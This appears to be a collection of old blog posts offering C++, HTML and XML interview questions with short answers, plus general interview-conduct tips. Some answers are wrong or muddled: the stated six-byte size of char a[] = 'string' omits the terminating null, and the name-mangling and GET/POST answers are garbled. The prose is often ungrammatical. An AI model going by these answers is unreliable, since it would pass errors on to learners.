A : The default member and base-class access specifies are different. This is one of the commonly misunderstood aspects of C++. Believe it is or not, many programmers think that a C++ struct is just like a C struct, while a C++ class has inheritance, access specifies, member functions, overloaded operators, and so on. Actually, the C++ struct has all the features of the class. The only differences are that a struct defaults to public member access and public base-class inheritance, and a class defaults to the private access specified and private base-class inheritance.

Q : Why do C++ compilers need the name mangling?
A : Name mangling is the rule of according to which is the C++ changes function's name into function signature before the passing that the function to a linker. This is how the linker differentiates between different functions with the same name.

Q : What is protocol class?
A : An abstract class is a protocol class if:
1.Protocol neither contains nor inherits from the classes that contain member data, non-virtual functions, or private (or protected) members of any kind.
2. It has a non-inline virtual destructor defined with an empty implementation,
3. All member functions other than the destructor including inherited functions, are declared pure the virtual functions and left undefined.

Q : What is the difference between the message and method?
A: Method: Provides response to a message.It is an implementation of an operation..
Message: Objects communicate by sending the messages to each other.A message is sent to invoke a method.

Q : What is an adaptor class ?
A : A class that has no functionality of its own. It is the member functions hide the use of a third party software component or an object with the non-compatible interface or a non- object- oriented implementation.

Q : What’s the difference between char a[] = “string”; and char *p = “string”;?
A : In the first case six bytes are allocated to the variable in a which is fixed, where as in the second case if *p is assigned to the some other value the allocate memory can change.

Q : What is conversion constructor?
A : A conversion constructor is that accepts one argument of a different type.

Q : What’s an explicit constructor?
A : A conversion constructor declared with the explicit keyword. The compiler does’nt use an explicit constructor to implement an implied conversion of types. It is the purpose of is reserved explicitly for construction.

HTML Interview Questions & Answers

2009-03-16T22:45:00.000-07:00

Q : What’s the difference between the HTML form methods GET and POST?
A : The method parameter specifies which method the client is using to send information to the WEB server. The method determines which parameter you will search the CGI request data in:
* POST - post_args
* GET - http_search_args

Q : What is a tag?
A : In HTML, a tag tells the browser what to do. When you write an HTML page, you enter tags for many reasons -- to change the appearance of text, to show a graphic, or to make a link to one page to another page.

Q : What are meta tags and why it is used?
A: Html tag in the header section of a web page, intended to offer content to search engines. Among them are the keyword and description tags, but these days are most true search engines de-emphasize or completely ignore META tags. ...

Q : What are the differences between DIV and SPAN?
A : DIV is used to select a block of text so that one can apply styles to it. SPAN is used to select inline text and let users to apply styles to it. The main difference between DIV and SPAN is SPAN does not do formatting by itself. Also the DIV tag is used as a paragraph break as it creates a logical division of the document in which it is applied. This is in contrast to the SPAN as SPAN simply dos the functionality of applying the style and alignment whatever was specified in it. DIV has ALIGN attribute in it which is not present in case of SPAN. Thus DIV is used in cases where one wants to apply styles to a block of text. But there may be situations in which that the there might not be clear well structured block of text to work with. In those cases one can do opt to apply SPAN which is used to apply styles inline. That is in other words DIV is generally used for block of text and SPAN is generally used for words or sentences.

Q : How do you change the title of a framed document?
A : The title displayed is the title of the frameset document rather than the titles of any of the pages within frames. To change the title displayed, a link to a new frameset document using
TARGET="_top" (replacing the entire frameset).

Q : How do you link to a location in the middle of an HTML document?
A : First, label the destination of the link. The old way to label the destination of the link was with an anchor using the NAME attribute.
For example:<h2><a name="section2">Section 2: Web Page</a></h2>

The modern way to the label destination of the link is with an ID attribute.
For example:<h2 id="section2">Section 2: Web page</h2>

Second, link to the labeled destination. The URL is the URL of the document, with "#" and the value of the NAME or ID attribute appended. Continuing the above examples, elsewhere in the same document you could use:
<a href="#section2">go to Section 2</a>

Q : How do you remove the border around frames?
A : Removing the border around frames involves both not drawing the frame borders and eliminating the space between the frames. The most widely supported way to display borderless frames is <FRAMESET ... BORDER=0 FRAMEBORDER=0 FRAMESPACING=0>.
Note that these attributes are proprietary and not part of the HTML 4.01 specifications. (HTML 4.01 does define the FRAMEBORDER attribute for the FRAME element, but not for the FRAMESET element.) Also, removing the border around a frame makes it is difficult to resize it, as this border is also used in most GUIs to change the size of the frame.

Q : Explain in brief about the term CSS.
A : A stylesheet language is used to describe the presentation of a document written in a markup language. Cascading Style Sheets are a big breakthrough in Web design because they allow developers to control the style and layout of multiple Web pages all at once.

Q : What are the attributes that make up a DHTML?
A : DHTML is called as a Dynamic HTML. This is used to increase the interactive ability and the visual effect of the web pages which is loaded in the browser. The main technologies that are used in DHTML are namely:

HTML
JavaScript
CSS which is also called as Cascading Style Sheet
DOM also called as Document Object Model

Let see the DHTML namely briefly about

HTML:
This is also known as hyper text markup language. This is widely used in web pages. This along with JavaScript plays a vital role for enhancing the features of web pages. In other words the JavaScript is inside the HTML page and this is read by the browser as soon as the page gets loaded.

JavaScript:
JavaScript is the most popularly used scripting language for client-side. The use of JavaScript within the HTML page adds interactivity ability to web pages and this was introduced by Netscape.

DOM:
DOM is called as Document Object Model. This is platform and also language independent. This is used for dynamic access and updating of contents in documents

CSS:
CSS is called as Cascading Style Sheet. This is used to enhance the features of web pages like formatting styles say bold, font size and so on and there by increase the visual appearance of web pages. These are specified inside an HTML tag.

Q : Why is there extra space before or after the table?
A : This is often caused by invalid HTML syntax. Specifically, it is often caused by loose content within the table (i.e., content that is not inside a TD or TH element). There is no standard way to the handle loose content within a table. Some browsers display all loose content before or after the table. When the loose content contains only multiple line breaks or empty paragraphs, then these browsers will display all this empty space before or after the table itself.
The solution is to fix the HTML syntax errors. All content within a table must be within a TD or TH element.

Q : What’s the difference between jscript and javascript?
A : JScript & javascript are both scripting languages that facilitate
development of web pages. It is similar to javascript with subtle difference in objects & functions exposed. JScript is supported and shipped by Microsoft and may be work best only on IE where as Javascript was initiated by netscape and can do work across all browsers consistently

XML Interview Questions & Answers

2009-03-16T21:06:00.000-07:00

Q : How can u create an XML file?
A : It is a quite easy to create, can create by the plain text editor like notepad or by .net model using so many in built methods like XmlTextWriter etc.

Q : What is a XML Namespace?
A : Defining a namespace to avoid the confusion involves using a prefix and adding an xmlns attribute to the tag to give the prefix a qualified name associated with the namespace. All the child elements with the same prefix are associated with the namespace defined in the start tag of an element.

Q : What’s the difference between SAX parser and DOM parser?
A : SAX parser - works incrementally and generate the events that are passed to the application. It does not generate data representation of xml content so some programming is required. However, it provides the stream processing and partial processing which cannot be done alone by DOM parser.
DOM parser - reads the whole XML document and returns a DOM tree representation of xml document. It provides a convenient way for reading, analyzing and manipulating XML files. It is not well a suited for the large xml files, as it always reads the whole file before processing.

Q : Describe the differences between XML and HTML?
A : XML :
• User definable tags
• Content driven End tags required for well formed documents
• Quotes required around attributes values
• Slash required in empty tags

HTML :
• Defined set of tags designed for web display
• Format driven
• End tags not required
• Quotes not required
• Slash not required

Q : What is DOM?
A : The Document Object Model (DOM) is an interface specification maintained by the W3C DOM Workgroup that defines is an application independent mechanism
to access, parse, or update XML data. In the simple terms it is a hierarchical model that allows developers to manipulate XML documents easily.

Q :Why is XML such an important development?
A : XML removes the two constraints which were holding the back Web developments: dependence on a single, inflexible document type (HTML); the complexity of full SGML.

Q : What is a XPointer?

A : XPointer is a set of recommendations developed by the W3C. The core recommendations are the XPointer Framework which provides an extensible addressing behavior for fragment identifiers in XML media types.
XPointer gains its extensibility through the XPointer Framework, which identifies the syntax and processing architecture for XPointer expressions and through an extensible set of XPointer addressing schemes. These schemes, e.g., element() or xpointer(), are actually QNames. The xmlns() scheme makes it possible for an XPointer to declare namespace bindings and thereby the use third-party schemes as readily as W3C defined XPointer schemes.

Q : What is the three essential components of security does the XML Signatures provide?
A : Authentication, message integrity, and non-repudiation. In addition to signature information, an XML Signature can also contain the information describing the key used to sign the content.

Q :What’s an XML namespace prefix?
A : An XML namespace prefix is a prefix used to specify that a local element type or attribute name is in a particular XML namespace.

Q : Why is XML such an important development?
A : XML removes the two constraints which were holding back Web developments:
1. Dependence on a single, inflexible document type (HTML) which was being much abused for tasks it was never designed for;
2. The complexity of full SGML, whose syntax allows many powerful but hard-to-program options.
XML allows the flexible development of user-defined document types. It provides a robust, non-proprietary, persistent, and verifiable file format for the storage and the transmission of text and data both on and off the Web, and it’s remove the more complex options of SGML, making it easier to program for.

Interview Tips On the day

2009-02-11T05:41:00.000-08:00

Non-verbal Messages: Non-verbal language speaks larger than the words. As you walk in the interview room, here are a few things that you must keep in mind:
Start it off like a winner.

Handshake: Offer your hand, and give a firm handshake, a pleasant smile and a positive and confident attitude. Introduce about your self.

Posture: Stand and sit Straightly.

Don't Fidget: There is nothing worse than people playing with their hair, clicking pen tops, tapping feet or unconsciously touching parts of the body.

Move your hands: Gesturing or talking with your hands is very natural, but keep it in moderation.

Eye Contact: Look the interviewer in the eye

Be comfortable: Take a seat facing the interviewer, however, slightly off center. Be sure that you are in a comfortable position.

Listen attentively: Look at the interviewer directly, but do not take into a stare down! Sit up straight. Try to relax. It is okay to get a few notes if the questions are lengthy, or you need to remind yourself of something you want to stress.

Avoid nervous : Pay attention to nervous mannerisms. Everyone is nervous to some extent; the key is to appear calm and composed

Speak clearly. Use good grammar and simple English to speak and a friendly tone. Don’t say the answer just "yes" or "no" to a question. Always clarify, expand on your answers. Be sure not to go on rambling

Be positive and enthusiastic Pump up your enthusiasm prior to the interview. Never whine gripe or complain about past employers, jobs, classes etc

Why are you interested in this position?
Tell your employer why you select to apply for this position. Explain why you are a perfect match for this position and how you will do full justice to the same. Use relevant examples from your family background, educational background and previous job experience.

What do you know about this company?
You should research the company well before applying to it. You must be prepared to discuss the industry, the company's relative size within the industry and show that you know who is the major players and competitors are

Ask pertinent questions. Be prepared to ask a few questions. Do not monopolize the interviewer's time, particularly if you know they have appointments scheduled following your interview. Do ask thoughtful questions. Do not ask about salary and benefits, this can be discussed when the company is definitely interested in you

While giving answers to questions:
Be Concise: Listen to the questions carefully and answer to the point. An interviewee rambling on is likely to turn off the interviewer.
Provide Examples: Support your contentions with examples. Think of recent strong strategic examples of work you've done, then when the question is asked, answer with specifics, not in generalities.

Be Honest: It is always a better to state the truth than beating about the bush. If you don’t know something then state the fact.

Keep Your Guard Up: Always maintain your professionalism. Don’t get swayed by the friendly behaviour of the interviewer and disclose everything. For all you know it might be a trap laid out by him.

2009-02-09T05:54:00.000-08:00

hi delhi